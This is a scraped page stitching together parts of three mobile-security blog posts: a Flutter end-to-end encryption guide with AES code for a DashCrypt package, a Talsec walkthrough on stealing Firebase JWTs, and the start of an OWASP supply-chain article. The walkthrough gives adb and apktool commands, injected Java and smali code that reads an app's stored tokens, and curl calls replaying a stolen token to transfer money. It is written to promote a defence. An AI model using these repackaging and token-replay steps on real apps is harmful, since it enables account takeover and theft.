  • Managing scenarios where keys are compromised or need to be invalidated is a significant challenge in maintaining trust and security.

4️⃣ User Experience:

  • Balancing strong security measures with a seamless user experience can be difficult, especially when encryption introduces delays or additional steps.


Key Management: The Core of E2EE

One of the biggest challenges in End-to-End Encryption (E2EE) is key management. Since only the sender and receiver should have access to encrypted data, the system must handle key synchronization, updates, and revocation without exposing private keys. Poor key management can break the security of an otherwise well-encrypted system.

1️⃣ Key Synchronization:

Since encryption keys must remain private to users, E2EE systems use various strategies to synchronize and distribute keys securely:

▶️Public Key Exchange (For Secure Communication Between Users)

  • In E2EE messaging apps, users need a way to encrypt messages for each other without sharing private keys.

The solution is asymmetric encryption, where:

  • Each user has a public key (shared with others).

  • A private key (kept secret on their device) decrypts incoming messages.

How It Works:

  1. When User A wants to send a message to User B, the server provides User B’s public key.

  2. User A encrypts the message with that key.

  3. The encrypted message is sent and only User B can decrypt it using their private key.


2️⃣ Key Updates:

Key updates ensure that even if a key is compromised, past and future messages remain protected. They are especially important in applications that handle sensitive communications, such as messaging apps, financial transactions, and secure storage services.

Encryption keys can become vulnerable over time due to:

  • Long-Term Key Exposure → The longer a key is in use, the higher the risk of compromise.

  • Device Theft or Hacking → If an attacker gains access to a device, they could steal private keys.

  • Advancements in Cryptanalysis → Encryption methods improve, and older keys may become weaker over time.

  • Insider Threats or Government Requests → Some services may be pressured to reveal encryption keys, but key updates limit exposure.

Types of Key Updates in E2EE:

▶️Session-Based Key Updates (Perfect Forward Secrecy)

  • Every conversation session or even every message gets a new encryption key.

  • Even if one key is compromised, past and future messages remain secure.

▶️Periodic Key Rotation

  • Encryption keys are updated every set period (e.g., every 90 days).

  • Old messages remain encrypted with the previous key, while new messages use the updated key.

▶️Manual Key Updates & User-Initiated Key Change

  • Users can manually generate and distribute new encryption keys when needed.

  • Recipients must re-verify the sender’s identity (e.g., exchanging new public keys via a trusted channel).

▶️Re-Encryption of Old Data with New Keys

  • When an encryption key is updated, old encrypted files/messages are re-encrypted with the new key.

  • This ensures that even if a previous key is leaked, past data remains secure.


2️⃣ Key Revocation:

Key revocation is a crucial part of End-to-End Encryption (E2EE) that ensures compromised, lost, or outdated encryption keys are no longer valid. Since E2EE is designed to keep data private between the sender and recipient, revoking keys must be handled in a way that maintains security while allowing users to regain control if their private keys are lost or compromised.

Unlike traditional encryption systems where a central authority (e.g., a server) can easily revoke access, E2EE does not allow servers to manage or store private keys. This makes key revocation a complex challenge, as the system must ensure that revoked keys are no longer used without compromising past communications.

Importance of Key Revocation:

  • Lost or Stolen Devices → If a user’s device is lost or stolen, the encryption keys stored on that device could be compromised.

  • Hacked or Leaked Keys → If a private key is exposed in a data breach, an attacker could decrypt intercepted messages.

  • User Identity Change → When users change their devices or accounts, old keys should be revoked to prevent unauthorized access.

  • Forward Security → Ensuring that past communications remain secure even if a key is revoked.

Without a proper key revocation mechanism, an attacker with a stolen key could continue decrypting new messages indefinitely.

Methods of Key Revocation in E2EE Systems:

▶️Manual Key Revocation by the User

  • Users generate a new encryption key and notify their contacts.

  • The old key is marked as revoked, so it is no longer used for encrypting new messages.

  • A verification process (e.g., scanning a QR code) may be required to confirm the key update.

▶️Automatic Key Revocation via Expiry

  • Encryption keys are automatically set to expire after a certain period.

  • When a key expires, the system generates a new key and updates all future communications.

  • Some systems use ephemeral session keys (one-time-use keys) to ensure automatic revocation.

▶️Certificate Revocation Lists (CRLs) & Revocation Servers

  • A revocation list is maintained, identifying invalidated keys.

  • Before encrypting a message, the system checks the revocation list to ensure the recipient’s key is still valid.

  • Public Key Infrastructure (PKI) is often used for certificate-based encryption, such as email encryption (S/MIME).

▶️Key Revocation Through Multi-Device Authentication

  • If a user’s device is lost, they can log in from another authenticated device and revoke access to the lost device.

  • Encryption keys are synced across trusted devices, and the revoked device can no longer decrypt messages.


How E2EE Affects Backend Capabilities

When data is encrypted end-to-end, even the service provider cannot access or analyse it. This creates significant challenges for applications that rely on data analytics, search indexing, AI models, and personalization.

❌ 1. Search & Indexing Becomes Impossible

  • Cloud-based services like Google Drive and Dropbox allow users to search their files because their data is not encrypted end-to-end.

  • In contrast, services like ProtonMail (which uses E2EE for emails) cannot provide full email search — only metadata (like subject lines) is searchable.

  • Trade-off: Encrypted data cannot be indexed, making efficient searches harder.

❌ 2. Loss of AI & Machine Learning Insights

  • Many services, including Google Photos, Gmail, and Apple Photos, use AI to categorize and suggest content (e.g., recognizing faces, recommending emails).

  • E2EE prevents this because AI models cannot analyse encrypted data and will not allow them to train them.

Example:

  • Google Photos can auto-tag and organize your pictures based on AI analysis.

  • If photos were E2EE encrypted, Google would not be able to process or tag them.

❌ 3. No Behaviour-Based Personalization

  • Platforms like Spotify, Netflix, and YouTube analyse user behaviour to recommend content.

  • E2EE prevents data-driven personalization since the platform cannot analyse user preferences directly.

Example:

  • Netflix recommends shows based on your watch history.

  • If Netflix were fully E2EE, the company couldn’t analyse viewing patterns — leading to less accurate recommendations.

❌ 4. Encrypted Data Cannot Be Used for Fraud Detection

  • Many platforms use backend machine learning models to detect fraud (e.g., banks analysing transaction patterns).

  • With E2EE, the backend cannot inspect transaction details, making fraud detection harder.


As a workaround for these limitations, some companies use alternative methods to balance security with usability by applying the followings:

✅ 1. Metadata-Based Analysis

  • While message content is encrypted, apps still analyze metadata (e.g., timestamps, IP addresses, device types).

  • Example: Telegram encrypts messages but logs metadata to improve delivery performance.

✅ 2. Client-Side AI & Search

  • Instead of analysing data on the backend, some apps process encrypted data on the user’s device.

  • Example: Apple’s Face ID & on-device Siri process data locally rather than in the cloud.

The Trade-off: Privacy vs. Functionality

🔐 E2EE ensures maximum privacy, but it limits many features users take for granted, like search, personalization, AI-driven recommendations, and fraud detection. 📊 If backend insights are critical, developers may need a hybrid encryption model where only the most sensitive data is E2EE, while other data remains accessible for analysis.


When do we need E2EE?

End-to-End Encryption (E2EE) is a cornerstone of secure communication in modern mobile applications. But when should you implement E2EE in your app? The answer lies in understanding the nature of the data being handled and the level of privacy users expect. Below are some common scenarios where E2EE is essential:

  • Communication Privacy: Apps like messaging platforms, VoIP services, and video conferencing tools require E2EE to ensure that private conversations remain confidential and accessible only to the intended participants.

  • File Sharing: When users share sensitive documents or media files, E2EE guarantees that the content is protected from interception or unauthorized access during transmission.

  • Collaborative Work: In enterprise apps or team collaboration tools, E2EE secures communication and shared data, safeguarding corporate information and intellectual property.

  • Cloud Storage: Applications that store sensitive data in the cloud can use E2EE to protect it from unauthorized access, even by the service provider hosting the data.

The diagram below illustrates these key scenarios where E2EE plays a vital role in ensuring data security and user trust. If your app handles any of these use cases, implementing E2EE is a must to meet user expectations and industry standards for privacy.


ECC vs. RSA for Asymmetric Encryption

Asymmetric encryption plays a crucial role in End-to-End Encryption (E2EE) by enabling secure key exchanges and authentication. Traditionally, RSA (Rivest-Shamir-Adleman) has been widely used for public-key encryption, but in recent years, Elliptic Curve Cryptography (ECC) has become the preferred choice due to its stronger security, better performance, and lower computational cost.

✅Smaller Key Size for the Same Security Level

One of the biggest advantages of ECC over RSA is that ECC provides the same level of security with much smaller key sizes.

✅ Better Performance (Faster Encryption & Decryption)

ECC is significantly faster than RSA in key generation, encryption, and decryption operations.

  • RSA encryption is fast, but decryption is slow (requires large integer multiplications).

  • ECC operations are much faster due to their smaller key sizes and lower computational overhead.

✅ Stronger Security Against Quantum Computing

One of the biggest threats to RSA encryption is quantum computing.

  • Shor’s Algorithm (a quantum algorithm) can efficiently break RSA by factoring large numbers.

  • ECC is also vulnerable to quantum attacks, but it requires far more quantum resources to break compared to RSA.


How to implement E2EE in Your Flutter App

Incorporating End-to-End Encryption (E2EE) into a Flutter app ensures that sensitive data is protected throughout its journey from sender to receiver. With E2EE, even if communication is intercepted, the data remains unreadable without the decryption keys. Implementing E2EE might sound complex, but with Flutter’s flexibility and packages, it becomes a streamlined process.

In this part, we’ll focus on a step-by-step guide to implementing E2EE in your Flutter app using My new Package, which contains some cryptography algorithms (more to be added..) and will have additional encryption functionalities in the near future. the package is:🔥🔥

We’ll cover key concepts like generating encryption keys, encrypting and decrypting messages. By the end, you’ll have a practical understanding of how to secure your app’s communication channels effectively.


What is Dash Crypt?

DashCrypt is a powerful and flexible encryption and decryption package for Flutter and Dart. It supports a wide range of modern and classical cryptographic algorithms, making it ideal for developers looking to integrate secure encryption into their projects. DashCrypt also provides utilities for secure key and IV generation, ensuring robust security. Designed for simplicity, performance, and scalability, DashCrypt is the perfect solution for all your encryption needs.

Currently it supports the following Encryption Algorithms:

  • AES with (CBC, CFB, ECB, GCM modes) & Key Sizes (128,192,256 bits)

  • Classical Ciphers (Affine, Caesar, Columnar Transposition, Monoalphabetic, Playfair, Rail Fence, Vigenere)

⏳Other modern Algo. & Encryptions ‘ll be added ⏳


Now Let’s Get our hands dirty in code 👨‍💻

Steps to use Dash Crypt:

1. Add the DashCrypt package to your pubspec.yaml:

2. Add imports to the top of the file where you want to use Talsec:

3. Start use the needed Algorithm for encryption/decryption like the following:

📌AES Algorithms

▶️Encryption

▶️Decryption:

📌Generating IV & Keys

▶️ Generate IV depending on the mode

▶️ Generate Key depending on the size

Now we used the package to encrypt/decrypt our data in several ways using modern algorithms and it’s now can be sent securely to the server.


Conclusion

In today’s digital landscape, where privacy is a growing concern, implementing End-to-End Encryption (E2EE) is more than just a technical feature — it’s a commitment to protecting your users’ data and fostering trust. By ensuring that information remains encrypted from sender to receiver, E2EE acts as a powerful shield against eavesdropping and data breaches, safeguarding sensitive communications even in the face of potential threats.

Throughout this guide, we’ve unpacked the essentials of E2EE, explored its benefits, and walked step-by-step through its implementation using the DashCrypt package in Flutter. From generating secure keys to encrypting and decrypting messages, you now have the tools to integrate robust encryption into your app with confidence.

By prioritizing E2EE, you’re not only addressing user privacy but also enhancing your app’s security posture, and positioning your app as a trusted solution in a competitive market. The effort you put into securing your app’s communication channels today will pay off by providing users with peace of mind and safeguarding your reputation as a developer.

Take the next step: refine your implementation, explore advanced use cases, and stay informed about evolving encryption standards. Security is a journey, not a destination — one where your dedication will make all the difference.


Your Journey Through This Guide Ends Here — But the Conversation Doesn’t Have To! 🙋‍♂️

Thank you for sticking with me through this guide on implementing End-to-End Encryption (E2EE) in Flutter apps! 🎉 I hope the steps, insights, and tips shared here have empowered you to build more secure and privacy-focused applications.

If you have any questions, suggestions, or want to dive deeper into any part of the article, I’d love to hear from you! Feel free to comment or suggest anything, Let’s continue the conversation and work together to make mobile apps safer for everyone. 💬😊


Protecting Your API from App Impersonation: Token Hijacking Guide and Mitigation of JWT Theft

Gone are the days of locally-held data and standalone applications. With the rise of smartphones and portable devices, we are constantly on the go and reliant on network calls for everything from social communication to live updates. As a result, protecting backend servers and API calls has become more crucial than ever.

Token-Based Authentication: Vulnerabilities and Solutions

Most of the time, the application uses an API to make HTTP requests to the server. The server then responds with the given data. Most devs know and use it all the time. However, we often have data with restricted access — data only some users/entities can obtain. Moreover, they need to provide a way to prove who they are.

A typical method for authorizing requests (and therefore protecting data) is to use tokens signed by the server. The authentication request is sent to the server. If authentication is successful, the server issues a signed token and sends it back to the client. The application will use it on every request, so the server knows it is talking to an authorized entity. Although the token is used during its validity period (usually minutes), it is long enough to exploit the leaked token even manually.

The current standard is to carry these requests over HTTPS, which TLS protects. The whole process is encrypted, so it will not be useful to attackers even if they manage to catch a request. This ensures the confidentiality of communication — the attacker knows there is some communication but does not know its actual content.

Beware of App Cloning

Attackers can impersonate a legit application if they steal a token.

However, there is still an opportunity for a hacker to strike — a compromised client application crafted for token stealing. Attackers can impersonate a legit application after stealing a token. The server cannot tell whether the legit application, compromised application or some other tool (e.g. , , …) is communicating with it. It just checks if the provided token is valid, fresh, and with proper scope (hint: a stolen token still is).

There are multiple ways that the app can be attacked and compromised in order to steal the token and use it for malicious purposes. Here are a few clear examples:

  1. If an attacker gains access to a rooted device, they can misuse the token.

  2. An attacker can create a tampered version of the app, distribute it, convince the user to install it, and then obtain a valid token from the tampered app to misuse it in an automated way.

  3. Remote Code Execution and Escalation of Privilege vulnerabilities are discovered all the time; see

For the purposes of this demonstration, we will be focusing on the second option.

The solution to these issues is to check clients’ integrity to ensure that:

  1. A communicating party is a legit client — this blocks requests from other sources, such as Postman.

  2. A communicating party can be trusted — the client’s integrity is intact (e.g. not tampered with), and it is running in a safe space (e.g. unrooted device).

A Step-by-Step Guide to Exploiting JWT: A Case Study

Disclaimer: While we provide information on legitimate hacking techniques, we do not condone using this information for malicious purposes. Please only use this information for educational purposes.

The demonstration is presented on an Android platform; however, it is important to note that the iOS version is very similar in nature, and the same principles and considerations discussed stand the same.

Let’s have an imaginary company that provides meal tickets as cash credit in their app. The app uses Firebase Authentication to authenticate users. An operation to send credits from one person to another is handled by the Firebase cloud function. To identify which user is sending their credits, JWT ID Token is used. This token can be retrieved from the Firebase instance after the user is successfully authenticated.

Now for the hacking part — an overview of the attack.

Step 1: Tamper the app

First of all, we need to gain access to the application scope itself. There are several ways how this can be done. In most cases, rooting a device would give us the access we need. However, for our demonstration, we choose application repackaging.

App tampering is currently quite easy. Using proper tools (), you can decompile, modify and repackage the application. One only needs to entice potential victims into downloading a seemingly authentic application.

Wait a minute. Where would an ordinary user get a tampered app?

Despite best efforts, . With the rise of alternative stores and , you will likely find even more malware. Real-world examples could also be apps that promise you to gain some advantage or free versions of apps that you typically need to pay for.

Step 2: Steal the token

If not, we recommend you give it a read, but in a nutshell — Firebase stores essential information in shared preferences. You can access and parse these data without any problem. And then misuse them in API calls.

Step 3: Attack the API

Getting the format of API requests can be done by self-proxying. After that, you recycle this with a stolen token using Postman, curl, or other software.

To strike a balance between “too abstract” and “too complicated”, some implementation details will be omitted as a story for another time.

Let’s Roll This Plan into Action

Get the target APK

Initially, we acquire the valuable APK file of an application. This can be achieved in many ways. The technique described here uses adb — a standard tool which should be in the toolbelt of every developer.

After installation of the app, we need to get its package name. Using the terminal, we can list package names of all installed apps/services using the command:

This gives us a way shorter and cleaner list. Moreover, we found our wanted package name: com.mycompany.letseat

Now we need to get the path where the APK file is stored. This time, we use the shell functionality of adb.

This returns the path where APK is located. Using adb pull, we can extract this APK to our desired destination.

Now we finally have the APK, which we will tamper. In the next section, we will decompile it, modify it and repackage it.

Unpack the APK and create a malicious payload

In this part, we will mainly use . Apktool is a handy tool for reverse engineering of Android APK files. You can download apktool in the provided link.

To decompile the APK, we will use the apktool d command. We are also going to set the output directory for better clarity.

The APK is extracted into the decompiled_apk folder and has a structure like this:

We recommend you to play around a bit and think of new ways to mess around with the application (e.g. you can see flutter assets there — you could inject ads using assets). What we care about for now is a folder named smali and its subfolders com/mycompany/letseat (what does that path remind you of?).

The smali folder contains decompiled code of the android part of the Flutter app. Let’s see MainActivity.smali for reference.

It looks like some broken version of C#. What is this smali thing anyway?

Smali code is an assembly language used in Dalvik VM — a custom Java VM for Android. What we did now is called baksmaling — getting smali code from Dalvik file (.dex). Apktool makes this “decompiling” for us, so we do not have to deal with .dex files. Smali code is primarily used in reverse engineering.

In the example above, you could make an educated guess — the init function is invoked, and this function belongs to the io/flutter/embedding/android package, and the function itself is in a file named V. Let’s try to verify this guess.

Path io/flutter/embedding/android exists, and there is a file named i.smali. It even contains multiple reference to the class’s constructor <init>().

However, something here is even more interesting. Look at some non-gibberish names: onCreate, onStart, onResume, onStop, onDestroy, … It looks like an Android activity lifecycle. We recommend you to check it out.

For now, all you need to know is that a lifecycle is a group of callbacks called when the app changes states (the app was launched, the app was put into the background, the device was rotated, …). We will choose onCreate as the place where we inject our code. However, this code has to be written in smali code. We have two options here:

  1. Writing code directly in smali code (good luck with that)

  2. Writing Kotlin/Java code, disassembling compiled code and copying that into the onCreate method

We are going to choose the second option. We are going to skip the creation and compilation of the APK. The most important part is the code itself:

In the onCreate method, we only call the steal() function. The stealing function then finds shared preferences, iterates through all files and logs their content (to keep this article concise, calls for the server are replaced by logging). Notice, that the first run (runs before first login/auth) will log “File not found”.

Merging smali codes

Now, we can build our application into APK and then decompile it. After decompilation, we will go to MainActivity.smali file and search for our steal() function. The smali code of steal() function looks like this:

What we need to do now is to merge two smali codes carefully.

  1. Copy steal invocation from MainActivity.smali to i.smali

  2. Insert steal function from MainActivity.smali to i.smali

  3. Fix package references in i.smali

After examination, we can see that the steal() function invocation in the MainActivity.smali is translated as a one-liner.

However, it is invoked from the wrong package name. Since all related functions in the Let’s Eat app are in the i.smali file, we need to reference it. Let’s fix that.

Another surgical operation is copying the steal() function. After copying it, we need to update the package reference as well.

Notice this line. When we get the application information, we apply it to the current instance. Package reference is, therefore, MyApplication.

This would cause an error since you are referencing in non-existent package (in the “context” of the Let’s E`at app). However, you can use a reference to any android Activity. Therefore, you can rewrite this into the code below without any problems.

Rebuild the APK

We successfully modified the code. Putting the project back into the APK is a straightforward process — using apktool, we do just that, and the apksigner will sign our package. Since there is no RASP protection to protect the app, the device will install it without any problem.

To rebuild the APK, we need to go one level above the decompiled APK (so we can refer to it by folder name). Then we use apktool.

A disadvantage of decompiling is that the signature used for signing is now gone. Because of that, we need to sign it by hand. An unsigned package is bad (and useless) because:

  1. You cannot put it on the app store

  2. You cannot install it properly (e.g. drag and drop the APK onto the emulator)

To sign an APK, you need a key. Since key generation is out of the scope of this article, we recommend you to go through the official Android developers guide.

For signing, you can use apksigner.

Now you have an APK containing malicious code which exposes JWT.

Attacking the API with Stolen JWT

When we run the application, we can see the format of the stolen payload.

Calling the Firebase API

First, we will try to query the Firebase API itself. It is handy when an app has a public Firebase REST API.

We will need to grab Firebase project_id from the mobile app:

Second, notice key-value refresh_token and access_token from the Firebase file.

These can be easily misused with project_id. Since the endpoint is the same, we only need to provide valid values. Be aware that these tokens have limited validity, and you will need to get fresh ones quite often.

This request returns more data.

If you wonder where this project_id comes from, it is a google-services.json file which you can find in the Firebase console.

Attacking Let’s Eat app’s API

Getting the format of the request is possible. For Flutter, you could use . A more general approach would be . With a bit of time, you will get a format of the POST request in our example app:

Forging requests in our example is done by providing access_token to the header.

We successfully transferred stolen money.

How to Mitigate the Problem: AppiCrypt

We can protect against this impersonation by adding an additional security control implementing the zero trust security model — . The zero trust assumes that all devices and applications cannot be trusted by default. Instead of relying on traditional security measures, zero trust employs a variety of security controls to authenticate and authorize devices and applications before granting access to protected resources. This aligns with the requirements from MASVS-RESILIENCE and MASVS-AUTH control groups.

AppiCrypt makes protecting your backend API easy by employing the mobile app and device integrity state control, allowing only genuine API calls to communicate with remote services.

It generates a unique app cryptogram evaluated by a script on the backend side to detect and prevent threats like session hijacking (which we have just demonstrated), bot attacks or app impersonation.

The idea behind this technology is not just to protect APIs but to let your backend know that RASP controls were overcome or turned off by attackers. So gateway can easily block the session if the App integrity is compromised, and backends only process API calls if RASP controls check out.

The Cryptogram Header

Cryptogram is inserted into the header. There is no need to change the payload of the message itself.

Cryptogram itself is then an encrypted one-time value. You cannot modify it, and even if you manage to steal a payload containing a cryptogram, it is useless — a cryptogram cannot be simply reused. Nonce allows you to determine that the cryptogram belongs to your API call and isn’t replayed by an attacker. Using an old cryptogram will result in failure of its check (server will respond with code 403):

Where AppiCrypt excels is its integration. It does not require any integration with external APIs. It ensures low latency and does not introduce a single point of failure. The cryptogram is verified by locally running a simple script on your backend. AppiCrypt is a generic solution for all types of iOS and Android devices without dependency on Google Play or other OEM services.

You may have come across a similar technology Firebase AppCheck. We want to emphasize the significant difference between AppCheck and AppiCrypt. AppCheck is not applicable for every call but only during user enrollment. That means there remains space for token theft. It doesn’t prevent leakage but token issuance. We compared these technologies in the .

You can find more details about AppiCrypt on .

Conclusion

In this article, we looked at one way of attacking a mobile application. We showed how Firebase tokens can be stolen from the app and used to attack the API. We also explained how an APK file could be decompiled, what smali code is and how to add malicious code. Finally, we learned how we could protect ourselves from this attack.

This article was focused on the Android platform, but a similar problem may occur on iOS or other mobile systems. From the user’s perspective, it is important to be careful when downloading and using applications from unverified sources and check their permissions and reviews. From the developer’s point of view, mobile security is a constantly evolving area that requires attention and updating of knowledge.

We hope this article helped you understand the risks associated with mobile security and taught you some ways to minimize them.

Written by Jaroslav Novotný — Flutter developer, Tomáš Soukal — Security Consultant and Tomáš Biloš — Backend developer

Logo
Talsec's RASP
dependencies:
  dash_crypt: latest_version
import 'package:dash_crypt/dash_crypt.dart';
// KeySize could be: (KeySize.aes128 , KeySize.aes192, KeySize.aes256)
// For Encryption
DashCrypt.AES__CBC(keySize: keySize).encrypt(
  text: plainText,
  key: key,
  iv: iv 
);
DashCrypt.AES__CFB(keySize: keySize).encrypt(
  text: plainText,
  key: key,
  iv: iv 
);
DashCrypt.AES__ECB(keySize: keySize).encrypt(
  text: plainText,
  key: key,
);
DashCrypt.AES__GCM(keySize: keySize).encrypt(
  text: plainText,
  key: key,
  iv: iv 
);
// KeySize could be: (KeySize.aes128 , KeySize.aes192, KeySize.aes256)
// For Decryption
DashCrypt.AES__CBC(keySize: keySize).decrypt(
  text: cipherText,
  key: key,
  iv: iv 
);
DashCrypt.AES__CFB(keySize: keySize).decrypt(
  text: cipherText,
  key: key,
  iv: iv 
);
DashCrypt.AES__ECB(keySize: keySize).decrypt(
  text: cipherText,
  key: key,
);
await DashCrypt.AES__GCM(keySize: keySize).decrypt(
  text: cipherText,
  key: key,
  iv: iv 
);
// AesMode could be: (AesMode.cbc, AesMode.cfb, AesMode.gcm)
var iv = DashCrypt.generateIV(AesMode.cbc)
// KeySize could be: (KeySize.aes128 , KeySize.aes192, KeySize.aes256)
var key = DashCrypt.generateKey(KeySize.aes128)
DashCrypt
Cover

Ahmed Ayman: I’m a passionate Mobile Engineer with over 7 years of experience in building high-performance applications. I love sharing knowledge, mentoring developers, and writing technical articles to contribute to the tech community. My focus is on scalability, performance optimization, and crafting seamless user experiences through efficient and maintainable solutions. | Senior Flutter Mobile Developer

adb shell pm list packages
adb shell pm path com.mycompany.letseat
adb pull (apk location)
apktool d -o=decompiled_apk base.apk
.
└── decompiled_apk
    ├── AndroidManifest.xml
    ├── META-INF/
    ├── apktool.yml
    ├── assets/
    ├── kotlin/
    ├── lib/
    ├── original/
    ├── res/
    ├── smali/
    └── unknown/
.class public final Lcom/mycompany/letseat/MainActivity;
.super Lio/flutter/embedding/android/i;
.source ""


# direct methods
.method public constructor <init>()V
    .locals 0

    invoke-direct {p0}, Lio/flutter/embedding/android/i;-><init>()V

    return-void
.end method
public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        // Defining as one-liner so injection in onCreate is easier
        steal();
    }

    public void steal() {
        // Getting valuable data
    }
}
public void steal() {
  // Getting dir with preferences
  File prefsDir = new File(getApplicationInfo().dataDir, "shared_prefs");

  // Checking whether preferences exist...
  if (prefsDir.exists() && prefsDir.isDirectory()) {
    String[] files = prefsDir.list();
    // ... if so, find the right one.
    if (files != null) {
      for (String file: files) {
        // We know the files. We could send them over to
        // server (code omitted for simplicity). For now
        // logging will do it.
        Scanner myReader;
        try {
          myReader = new Scanner(new File(prefsDir.getPath(), file));
          List < String > lines = new ArrayList < String > ();
          while (myReader.hasNextLine()) {
            lines.add(myReader.nextLine());
          }
          Log.e("JWT", lines.toString());
        } catch (FileNotFoundException e) {
          Log.e("JWT", "File not found");
        }
      }
    }
  }
}
.method public final steal()V
    .locals 12

    .line 32
    new-instance v0, Ljava/io/File;

    invoke-virtual {p0}, Lcom/example/myapplication/MainActivity;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;

    move-result-object v1

    iget-object v1, v1, Landroid/content/pm/ApplicationInfo;->dataDir:Ljava/lang/String;

    const-string v2, "shared_prefs"

    invoke-direct {v0, v1, v2}, Ljava/io/File;-><init>(Ljava/lang/String;Ljava/lang/String;)V

...
invoke-virtual {p0}, Lcom/example/myapplication/MainActivity;->steal()V
invoke-virtual {p0}, Lio/flutter/embedding/android/i;->steal()V
invoke-virtual {p0}, Lcom/example/myapplication/MainActivity;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
invoke-virtual {p0}, Landroid/app/Activity;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
apktool b decompiled_apk
apksigner sign --ks=my-release-key.keystore base.apk
{
   "cachedTokenState":{
      "refresh_token":"APJWN8eQaglkIjefuwj7Y0zE8RegoK_DMe82dA_2P00k2npXliwOT8wxseVYjBUZRWSSinie8wx8m3Q-6KuSxI3Gv1oJRQ6a6VtH-c6wmyTWQZsqUwQ_FdawC8pyvpcqos9DpKRj03vNl3mBX1WzSoWxKOwrKyDFNRtK3fs6eFkBDRBHMbWvNFqy3Hn2h_tWJUvN_cTH1egQH5YnAzd2TpxFrTTMxB1JyJ16--ELXlk9Yqi-QgEZ9nc",
      "access_token":"eyJhbGciOiJSUzI1NiIsImtpZCI6ImY4NzZiNzIxNDAwYmZhZmEyOWQ0MTFmZTYwODE2YmRhZWMyM2IzODIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vd2ViaW5hci0tLW1pc3N1c2Utand0IiwiYXVkIjoid2ViaW5hci0tLW1pc3N1c2Utand0IiwiYXV0aF90aW1lIjoxNjc3ODM0MTI4LCJ1c2VyX2lkIjoib1RKeDY0SHpZMFNkMkVSVFpvcjVnaG81Y2E5MyIsInN1YiI6Im9USng2NEh6WTBTZDJFUlRab3I1Z2hvNWNhOTMiLCJpYXQiOjE2Nzc4MzQxMjgsImV4cCI6MTY3NzgzNzcyOCwiZW1haWwiOiJkZXZlbG9wZXJAdGFsc2VjLmFwcCIsImVtYWlsX3ZlcmlmaWVkIjpmYWxzZSwiZmlyZWJhc2UiOnsiaWRlbnRpdGllcyI6eyJlbWFpbCI6WyJkZXZlbG9wZXJAdGFsc2VjLmFwcCJdfSwic2lnbl9pbl9wcm92aWRlciI6InBhc3N3b3JkIn19.ODkew1FVJaklLA0rBOGke64XoOTYsnt4ONupuMywVwDVrw2JJlVeIf8FimPxznaGz5uckls9p_L8VVMfzNAetVll2HiLrCNoay2RIV015zlBjvTPqUJ_v2oeD7g5YGDUHJOZgQoqz4LAyolJa2FP9M2mqNSP6B2byLtU1_TVS_iukSEZFoIsv2Xn6AQPFwcZEXbX7gXwI8SUfz_N4N6LvWSX6JInx3kqTyrn3HPl-cCwgtSB-XpoUCbdGGcTstsT0ZBXIegcHuGiyaQ2vAJP18zR76iA_lz5X5HmIA2rcks2hOIA4tDlzrVVMNt781w2AK7YiXKg-Zp9Dc6FQkgJPA",
      "expires_in":3600,
      "token_type":"Bearer",
      "issued_at":1677834112014
   },
   "applicationName":"[DEFAULT]",
   "type":"com.google.firebase.auth.internal.DefaultFirebaseUser",
   "userInfos":[
      {
         "userId":"oTJx64HzY0Sd2ERTZor5gho5ca93",
         "providerId":"firebase",
         "email":"[email protected]",
         "isEmailVerified":false
      },
      {
         "userId":"[email protected]",
         "providerId":"password",
         "email":"[email protected]",
         "isEmailVerified":false
      }
   ],
   "anonymous":false,
   "version":"2",
   "userMetadata":{
      "lastSignInTimestamp":1677834128196,
      "creationTimestamp":1677833942740
   }
}
# PROJECT_ID - ID of firebase project (see console output above)
# ACCESS_TOKEN - access_token value from stolen payload
curl 'https://identitytoolkit.googleapis.com/v1/accounts:lookup?key=$PROJECT_ID' -H 'Content-Type: application/json' --data-binary '{"idToken":"$ACCESS_TOKEN"}'
{
    "kind": "identitytoolkit#GetAccountInfoResponse",
    "users": [
        {
            "localId": "oTJx64HzY0Sd2ERTZor5gho5ca93",
            "email": "[email protected]",
            "passwordHash": "UkVEQUNURUQ=",
            "emailVerified": false,
            "passwordUpdatedAt": 1677833942740,
            "providerUserInfo": [
                {
                    "providerId": "password",
                    "federatedId": "[email protected]",
                    "email": "[email protected]",
                    "rawId": "[email protected]"
                }
            ],
            "validSince": "1677833942",
            "disabled": false,
            "lastLoginAt": "1678363781388",
            "createdAt": "1677833942740",
            "lastRefreshAt": "2023-03-09T12:09:41.388Z"
        }
    ]
}
Request type: POST,
header: {
  Content-Type: "application/json",
  Authorization: "eyJhbGciOiJSUzI1NiIsImtpZCI6I..."
},
body: {
  "amount": 132,
  "recipient": "Joe Example",
}
curl 'https://letseat-example.com' -H 'Content-Type: application/json' -H 'Authorization: $access_token'--data-binary '{"amount": 150, "recipient": "Fiskus Kuskus"}'
{
   "status":"success",
   "msg":"Sending 150 from oTJx64HzY0Sd2ERTZor5gho5ca93 to Fiskus Kuskus"
}
// Returns cryptogram for your request
String cryptogram = Talsec.getAppiCrypt(...);
client.post(url, headers: {"AppiCrypt": cryptogram}, body: body);
{"message":"Forbidden"}
curl
Postman
https://source.android.com/docs/security/bulletin/asb-overview
apktool
shady apps can be found in the store
sideloading
Do you remember Tom’s article about stealing and attacking APIs?
apktool
reFlutter
proxy
AppiCrypt
OWASP MAS
previous article
our website
The content of Firebase file com.google.firebase.auth.api.Store.{…}.xml
Result of command
Result of commands
Result of command
Getting project_id for application. Part of the key is redacted for security reasons.
This file contains all the secrets you need
Only calls from valid apps pass through the AppiCrypt security layer
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
https://atos.net/en/lp/securitydive/misconfigured-firebase-a-real-time-cyber-threat?source=post_page-----8693c2361468--------------------------------atos.net
Logo
Logo
Logo
Ahmed Ayman | LinkedIn

OWASP Top 10 For Flutter – M2: Inadequate Supply Chain Security in Flutter

In the first installment of this series, OWASP Top 10 For Flutter – M1: Mastering Credential Security in Flutter, we explored the pitfalls of storing and handling credentials in your Flutter apps. That conversation underscored how a single compromised credential can jeopardize user data and brand trust.

Now, let’s turn our focus to M2: Inadequate Supply Chain Security—an equally pressing issue in modern mobile development. Safeguarding your Flutter supply chain is critical, as malicious actors continuously seek footholds through third-party dependencies, SDKs, pipelines, and distribution channels.

